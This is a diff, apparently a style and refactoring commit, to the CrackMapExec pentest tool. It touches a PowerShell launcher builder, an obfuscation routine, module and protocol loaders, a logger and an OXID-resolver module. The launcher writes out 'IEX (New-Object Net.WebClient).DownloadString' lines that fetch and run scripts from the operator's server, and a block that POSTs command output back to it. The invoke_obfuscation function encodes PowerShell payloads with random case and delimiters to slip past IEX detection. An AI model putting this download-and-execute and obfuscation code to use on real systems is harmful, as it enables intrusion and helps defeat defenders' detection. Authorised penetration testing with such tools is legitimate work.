launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
|
||||
for script in scripts:
|
||||
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
|
||||
server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
script=script)
|
||||
script=script,
|
||||
)
|
||||
launcher.strip()
|
||||
launcher += command if post_back is False else ''
|
||||
launcher += command if post_back is False else ""
|
||||
|
||||
if post_back is True:
|
||||
launcher += '''
|
||||
launcher += """
|
||||
$cmd = {command}
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
|
||||
$request.Method = 'POST'
|
||||
@@ -241,11 +246,11 @@ $request.ContentLength = $bytes.Length
|
||||
$requestStream = $request.GetRequestStream()
|
||||
$requestStream.Write($bytes, 0, $bytes.Length)
|
||||
$requestStream.Close()
|
||||
$request.GetResponse()'''.format(
|
||||
$request.GetResponse()""".format(
|
||||
server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
command=command
|
||||
command=command,
|
||||
)
|
||||
|
||||
cme_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
|
||||
@@ -256,11 +261,26 @@ $request.GetResponse()'''.format(
|
||||
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
|
||||
def invoke_obfuscation(script_string):
|
||||
# Add letters a-z with random case to $RandomDelimiters.
|
||||
alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase)
|
||||
alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
|
||||
|
||||
# Create list of random delimiters called random_delimiters.
|
||||
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
|
||||
random_delimiters = ['_', '-', ',', '{', '}', '~', '!', '@', '%', '&', '<', '>', ';', ':']
|
||||
random_delimiters = [
|
||||
"_",
|
||||
"-",
|
||||
",",
|
||||
"{",
|
||||
"}",
|
||||
"~",
|
||||
"!",
|
||||
"@",
|
||||
"%",
|
||||
"&",
|
||||
"<",
|
||||
">",
|
||||
";",
|
||||
":",
|
||||
]
|
||||
|
||||
for i in alphabet:
|
||||
random_delimiters.append(i)
|
||||
@@ -269,7 +289,7 @@ def invoke_obfuscation(script_string):
|
||||
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
|
||||
|
||||
# Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
|
||||
delimited_encoded_array = ''
|
||||
delimited_encoded_array = ""
|
||||
for char in script_string:
|
||||
delimited_encoded_array += str(ord(char)) + choice(random_delimiters)
|
||||
|
||||
@@ -277,42 +297,40 @@ def invoke_obfuscation(script_string):
|
||||
delimited_encoded_array = delimited_encoded_array[:-1]
|
||||
# Create printable version of $RandomDelimiters in random order to be used by final command.
|
||||
test = sample(random_delimiters, len(random_delimiters))
|
||||
random_delimiters_to_print = ''.join(i for i in test)
|
||||
random_delimiters_to_print = "".join(i for i in test)
|
||||
|
||||
# Generate random case versions for necessary operations.
|
||||
for_each_object = choice(['ForEach', 'ForEach-Object', '%'])
|
||||
str_join = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join')
|
||||
str_str = ''.join(choice([i.upper(), i.lower()]) for i in '[String]')
|
||||
join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join')
|
||||
char_str = ''.join(choice([i.upper(), i.lower()]) for i in 'Char')
|
||||
integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int')
|
||||
for_each_object = ''.join(choice([i.upper(), i.lower()]) for i in for_each_object)
|
||||
for_each_object = choice(["ForEach", "ForEach-Object", "%"])
|
||||
str_join = "".join(choice([i.upper(), i.lower()]) for i in "[String]::Join")
|
||||
str_str = "".join(choice([i.upper(), i.lower()]) for i in "[String]")
|
||||
join = "".join(choice([i.upper(), i.lower()]) for i in "-Join")
|
||||
char_str = "".join(choice([i.upper(), i.lower()]) for i in "Char")
|
||||
integer = "".join(choice([i.upper(), i.lower()]) for i in "Int")
|
||||
for_each_object = "".join(choice([i.upper(), i.lower()]) for i in for_each_object)
|
||||
|
||||
# Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax
|
||||
random_delimiters_to_print_for_dash_split = ''
|
||||
random_delimiters_to_print_for_dash_split = ""
|
||||
|
||||
for delim in random_delimiters:
|
||||
# Random case 'split' string.
|
||||
split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split')
|
||||
random_delimiters_to_print_for_dash_split += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice(
|
||||
['', ' '])
|
||||
split = "".join(choice([i.upper(), i.lower()]) for i in "Split")
|
||||
random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "])
|
||||
|
||||
random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip('\t\n\r')
|
||||
random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r")
|
||||
# Randomly select between various conversion syntax options.
|
||||
random_conversion_syntax = [
|
||||
'[' + char_str + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_',
|
||||
'[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice(
|
||||
['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + char_str + ']'
|
||||
"[" + char_str + "]" + choice(["", " "]) + "[" + integer + "]" + choice(["", " "]) + "$_",
|
||||
"[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]",
|
||||
]
|
||||
random_conversion_syntax = choice(random_conversion_syntax)
|
||||
|
||||
# Create array syntax for encoded scriptString as alternative to .Split/-Split syntax.
|
||||
encoded_array = ''
|
||||
encoded_array = ""
|
||||
for char in script_string:
|
||||
encoded_array += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' '])
|
||||
encoded_array += str(ord(char)) + choice(["", " "]) + "," + choice(["", " "])
|
||||
|
||||
# Remove trailing comma from encoded_array
|
||||
encoded_array = '(' + choice(['', ' ']) + encoded_array.rstrip().rstrip(',') + ')'
|
||||
encoded_array = "(" + choice(["", " "]) + encoded_array.rstrip().rstrip(",") + ")"
|
||||
|
||||
# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
|
||||
# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
|
||||
@@ -322,52 +340,34 @@ def invoke_obfuscation(script_string):
|
||||
# https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
|
||||
|
||||
set_ofs_var_syntax = [
|
||||
'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "''",
|
||||
choice(['Set-Variable', 'SV', 'SET']) + choice([' ' * 1, ' ' * 2]) + "'OFS'" + choice(
|
||||
[' ' * 1, ' ' * 2]) + "''"
|
||||
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''",
|
||||
choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''",
|
||||
]
|
||||
set_ofs_var = choice(set_ofs_var_syntax)
|
||||
|
||||
set_ofs_var_back_syntax = [
|
||||
'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '",
|
||||
'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '"
|
||||
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
|
||||
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
|
||||
]
|
||||
set_ofs_var_back = choice(set_ofs_var_back_syntax)
|
||||
|
||||
# Randomize case of $SetOfsVar and $SetOfsVarBack.
|
||||
set_ofs_var = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var)
|
||||
set_ofs_var_back = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
|
||||
set_ofs_var = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var)
|
||||
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
|
||||
|
||||
# Generate the code that will decrypt and execute the payload and randomly select one.
|
||||
baseScriptArray = [
|
||||
'[' + char_str + '[]' + ']' + choice(['', ' ']) + encoded_array,
|
||||
'(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'." + split + "(" + choice(
|
||||
['', ' ']) + "'" + random_delimiters_to_print + "'" + choice(['', ' ']) + ')' + choice(
|
||||
['', ' ']) + '|' + choice(['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(
|
||||
['', ' ']) + '(' + choice(['', ' ']) + random_conversion_syntax + ')' + choice(
|
||||
['', ' ']) + '}' + choice(['', ' ']) + ')',
|
||||
'(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'" + choice(
|
||||
['', ' ']) + random_delimiters_to_print_for_dash_split + choice(['', ' ']) + '|' + choice(
|
||||
['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(
|
||||
['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice(
|
||||
['', ' ']) + ')', '(' + choice(['', ' ']) + encoded_array + choice(['', ' ']) + '|' + choice(
|
||||
['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(
|
||||
['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')'
|
||||
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
|
||||
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
|
||||
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
|
||||
"(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
|
||||
]
|
||||
# Generate random JOIN syntax for all above options
|
||||
new_script_array = [
|
||||
choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''",
|
||||
join + choice(['', ' ']) + choice(baseScriptArray),
|
||||
str_join + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice(
|
||||
['', ' ']) + choice(
|
||||
baseScriptArray) + choice(['', ' ']) + ')',
|
||||
'"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + set_ofs_var + choice(
|
||||
['', ' ']) + ')' + choice(
|
||||
['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + str_str + choice(
|
||||
baseScriptArray) + choice(
|
||||
['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice(
|
||||
['', ' ']) + set_ofs_var_back + choice(
|
||||
['', ' ']) + ')' + choice(['', ' ']) + '"'
|
||||
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
|
||||
join + choice(["", " "]) + choice(baseScriptArray),
|
||||
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
|
||||
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
|
||||
]
|
||||
|
||||
# Randomly select one of the above commands.
|
||||
@@ -376,36 +376,31 @@ def invoke_obfuscation(script_string):
|
||||
# Generate random invoke operation syntax
|
||||
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
|
||||
# It is copied into this encoding function so that this will remain a standalone script without dependencies
|
||||
invoke_expression_syntax = [choice(['IEX', 'Invoke-Expression'])]
|
||||
invoke_expression_syntax = [choice(["IEX", "Invoke-Expression"])]
|
||||
|
||||
# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
|
||||
# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator,
|
||||
# but not a silver bullet
|
||||
# These methods draw on common environment variable values and PowerShell Automatic Variable
|
||||
# values/methods/members/properties/etc.
|
||||
invocationOperator = choice(['.', '&']) + choice(['', ' '])
|
||||
invocationOperator = choice([".", "&"]) + choice(["", " "])
|
||||
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
|
||||
invoke_expression_syntax.append(
|
||||
invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
|
||||
invoke_expression_syntax.append(
|
||||
invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')")
|
||||
invoke_expression_syntax.append(
|
||||
invocationOperator + "((" + choice(['Get-Variable', 'GV', 'Variable']) + " '*mdr*').Name[3,11,2]-Join'')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( " + choice(
|
||||
['$VerbosePreference.ToString()', '([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
|
||||
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
|
||||
|
||||
# Randomly choose from above invoke operation syntaxes.
|
||||
invokeExpression = choice(invoke_expression_syntax)
|
||||
|
||||
# Randomize the case of selected invoke operation.
|
||||
invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression)
|
||||
invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
|
||||
|
||||
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
|
||||
invokeOptions = [
|
||||
choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice(
|
||||
['', ' ']) + ')' + choice(['', ' ']),
|
||||
choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression
|
||||
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
|
||||
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
|
||||
]
|
||||
|
||||
obfuscated_payload = choice(invokeOptions)
|
||||
|
||||
+20
-16
@@ -1,7 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import importlib
|
||||
import os
|
||||
from os import listdir
|
||||
from os.path import dirname
|
||||
from os.path import join as path_join
|
||||
import sys
|
||||
|
||||
import cme
|
||||
@@ -76,14 +78,14 @@ class ModuleLoader:
|
||||
self.logger.debug(f"Protocol: {self.args.protocol}")
|
||||
if self.args.protocol in module.supported_protocols:
|
||||
try:
|
||||
module_logger = CMEAdapter(extra={'module_name': module.name.upper()})
|
||||
module_logger = CMEAdapter(extra={"module_name": module.name.upper()})
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error loading CMEAdaptor for module {module.name.upper()}: {e}")
|
||||
context = Context(self.db, module_logger, self.args)
|
||||
module_options = {}
|
||||
|
||||
for option in self.args.module_options:
|
||||
key, value = option.split('=', 1)
|
||||
key, value = option.split("=", 1)
|
||||
module_options[str(key).upper()] = value
|
||||
|
||||
module.options(context, module_options)
|
||||
@@ -101,15 +103,14 @@ class ModuleLoader:
|
||||
module_spec = spec.loader.load_module().CMEModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name.lower()}":
|
||||
{
|
||||
"path": module_path,
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
"supported_protocols": module_spec.supported_protocols,
|
||||
"opsec_safe": module_spec.opsec_safe,
|
||||
"multiple_hosts": module_spec.multiple_hosts,
|
||||
}
|
||||
f"{module_spec.name.lower()}": {
|
||||
"path": module_path,
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
"supported_protocols": module_spec.supported_protocols,
|
||||
"opsec_safe": module_spec.opsec_safe,
|
||||
"multiple_hosts": module_spec.multiple_hosts,
|
||||
}
|
||||
}
|
||||
if self.module_is_sane(module_spec, module_path):
|
||||
return module
|
||||
@@ -122,12 +123,15 @@ class ModuleLoader:
|
||||
List modules without initializing them
|
||||
"""
|
||||
modules = {}
|
||||
modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(CME_PATH, 'modules')]
|
||||
modules_paths = [
|
||||
path_join(dirname(cme.__file__), "modules"),
|
||||
path_join(CME_PATH, "modules"),
|
||||
]
|
||||
|
||||
for path in modules_paths:
|
||||
for module in os.listdir(path):
|
||||
if module[-3:] == '.py' and module != 'example_module.py':
|
||||
module_path = os.path.join(path, module)
|
||||
for module in listdir(path):
|
||||
if module[-3:] == ".py" and module != "example_module.py":
|
||||
module_path = path_join(path, module)
|
||||
module_data = self.get_module_info(module_path)
|
||||
modules.update(module_data)
|
||||
return modules
|
||||
|
||||
@@ -2,37 +2,42 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import types
|
||||
from importlib.machinery import SourceFileLoader
|
||||
import os
|
||||
from os import listdir
|
||||
from os.path import join as path_join
|
||||
from os.path import dirname, exists, expanduser
|
||||
import cme
|
||||
|
||||
|
||||
class ProtocolLoader:
|
||||
def __init__(self):
|
||||
self.cme_path = os.path.expanduser('~/.cme')
|
||||
self.cme_path = expanduser("~/.cme")
|
||||
|
||||
def load_protocol(self, protocol_path):
|
||||
loader = SourceFileLoader('protocol', protocol_path)
|
||||
loader = SourceFileLoader("protocol", protocol_path)
|
||||
protocol = types.ModuleType(loader.name)
|
||||
loader.exec_module(protocol)
|
||||
return protocol
|
||||
|
||||
def get_protocols(self):
|
||||
protocols = {}
|
||||
protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')]
|
||||
protocol_paths = [
|
||||
path_join(dirname(cme.__file__), "protocols"),
|
||||
path_join(self.cme_path, "protocols"),
|
||||
]
|
||||
|
||||
for path in protocol_paths:
|
||||
for protocol in os.listdir(path):
|
||||
if protocol[-3:] == '.py' and protocol[:-3] != '__init__':
|
||||
protocol_path = os.path.join(path, protocol)
|
||||
for protocol in listdir(path):
|
||||
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
|
||||
protocol_path = path_join(path, protocol)
|
||||
protocol_name = protocol[:-3]
|
||||
|
||||
protocols[protocol_name] = {'path': protocol_path}
|
||||
protocols[protocol_name] = {"path": protocol_path}
|
||||
|
||||
db_file_path = os.path.join(path, protocol_name, 'database.py')
|
||||
db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py')
|
||||
if os.path.exists(db_file_path):
|
||||
protocols[protocol_name]['dbpath'] = db_file_path
|
||||
if os.path.exists(db_nav_path):
|
||||
protocols[protocol_name]['nvpath'] = db_nav_path
|
||||
db_file_path = path_join(path, protocol_name, "database.py")
|
||||
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
|
||||
if exists(db_file_path):
|
||||
protocols[protocol_name]["dbpath"] = db_file_path
|
||||
if exists(db_nav_path):
|
||||
protocols[protocol_name]["nvpath"] = db_nav_path
|
||||
|
||||
return protocols
|
||||
|
||||
+43
-28
@@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import logging
|
||||
from logging import LogRecord
|
||||
from logging.handlers import RotatingFileHandler
|
||||
import os.path
|
||||
import sys
|
||||
@@ -18,11 +19,13 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
handlers=[RichHandler(
|
||||
console=cme_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)]
|
||||
handlers=[
|
||||
RichHandler(
|
||||
console=cme_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False,
|
||||
)
|
||||
],
|
||||
)
|
||||
self.logger = logging.getLogger("cme")
|
||||
self.extra = extra
|
||||
@@ -40,25 +43,34 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
if self.extra is None:
|
||||
return f"{msg}", kwargs
|
||||
|
||||
if 'module_name' in self.extra.keys():
|
||||
if "module_name" in self.extra.keys():
|
||||
if len(self.extra["module_name"]) > 8:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
|
||||
# If the logger is being called when hooking the 'options' module function
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra.keys()):
|
||||
return f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
|
||||
# If the logger is being called from CMEServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
|
||||
return f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
if "module_name" in self.extra.keys():
|
||||
module_name = colored(self.extra["module_name"], 'cyan', attrs=["bold"])
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"])
|
||||
else:
|
||||
module_name = colored(self.extra["protocol"], 'blue', attrs=["bold"])
|
||||
module_name = colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
return f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs
|
||||
return (
|
||||
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
|
||||
def display(self, msg, *args, **kwargs):
|
||||
"""
|
||||
@@ -75,17 +87,17 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
cme_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def success(self, msg, *args, **kwargs):
|
||||
def success(self, msg, color='green', *args, **kwargs):
|
||||
"""
|
||||
Print some sort of success to the user
|
||||
"""
|
||||
try:
|
||||
if 'protocol' in self.extra.keys() and not called_from_cmd_args():
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
msg, kwargs = self.format(f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs)
|
||||
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
cme_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
@@ -95,7 +107,7 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
Prints a completely yellow highlighted message to the user
|
||||
"""
|
||||
try:
|
||||
if 'protocol' in self.extra.keys() and not called_from_cmd_args():
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
@@ -105,16 +117,16 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
cme_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def fail(self, msg, *args, **kwargs):
|
||||
def fail(self, msg, color='red', *args, **kwargs):
|
||||
"""
|
||||
Prints a failure (may or may not be an error) - e.g. login creds didn't work
|
||||
"""
|
||||
try:
|
||||
if 'protocol' in self.extra.keys() and not called_from_cmd_args():
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
msg, kwargs = self.format(f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs)
|
||||
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
cme_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
@@ -127,10 +139,10 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
# will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
if len(self.logger.handlers):
|
||||
for handler in self.logger.handlers:
|
||||
try:
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(
|
||||
logging.LogRecord(
|
||||
LogRecord(
|
||||
"cme",
|
||||
20,
|
||||
"",
|
||||
@@ -140,8 +152,8 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
exc_info=None,
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
else:
|
||||
self.logger.info(text)
|
||||
|
||||
@@ -151,7 +163,7 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
file_creation = False
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
open(output_file, 'x')
|
||||
open(output_file, "x")
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
|
||||
@@ -168,18 +180,21 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||
|
||||
@staticmethod
|
||||
def init_log_file():
|
||||
newpath = os.path.expanduser("~/.cme") + "/logs/" + datetime.now().strftime('%Y-%m-%d')
|
||||
if not os.path.exists(newpath):
|
||||
os.makedirs(newpath)
|
||||
log_filename = os.path.join(
|
||||
os.path.expanduser(
|
||||
"~/.cme"
|
||||
),
|
||||
os.path.expanduser("~/.cme"),
|
||||
"logs",
|
||||
f"full-log_{datetime.now().strftime('%Y-%m-%d')}.log"
|
||||
datetime.now().strftime('%Y-%m-%d'),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
return log_filename
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
|
||||
super().__init__(fmt, datefmt, style, validate)
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
|
||||
from ipaddress import ip_address
|
||||
@@ -10,23 +10,21 @@ from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'ioxidresolver'
|
||||
class CMEModule:
|
||||
name = "ioxidresolver"
|
||||
description = "Thie module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
authLevel = RPC_C_AUTHN_LEVEL_NONE
|
||||
|
||||
stringBinding = r'ncacn_ip_tcp:%s' % connection.host
|
||||
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
@@ -38,13 +36,11 @@ class CMEModule:
|
||||
|
||||
context.log.debug("[*] Retrieving network interface of " + connection.host)
|
||||
|
||||
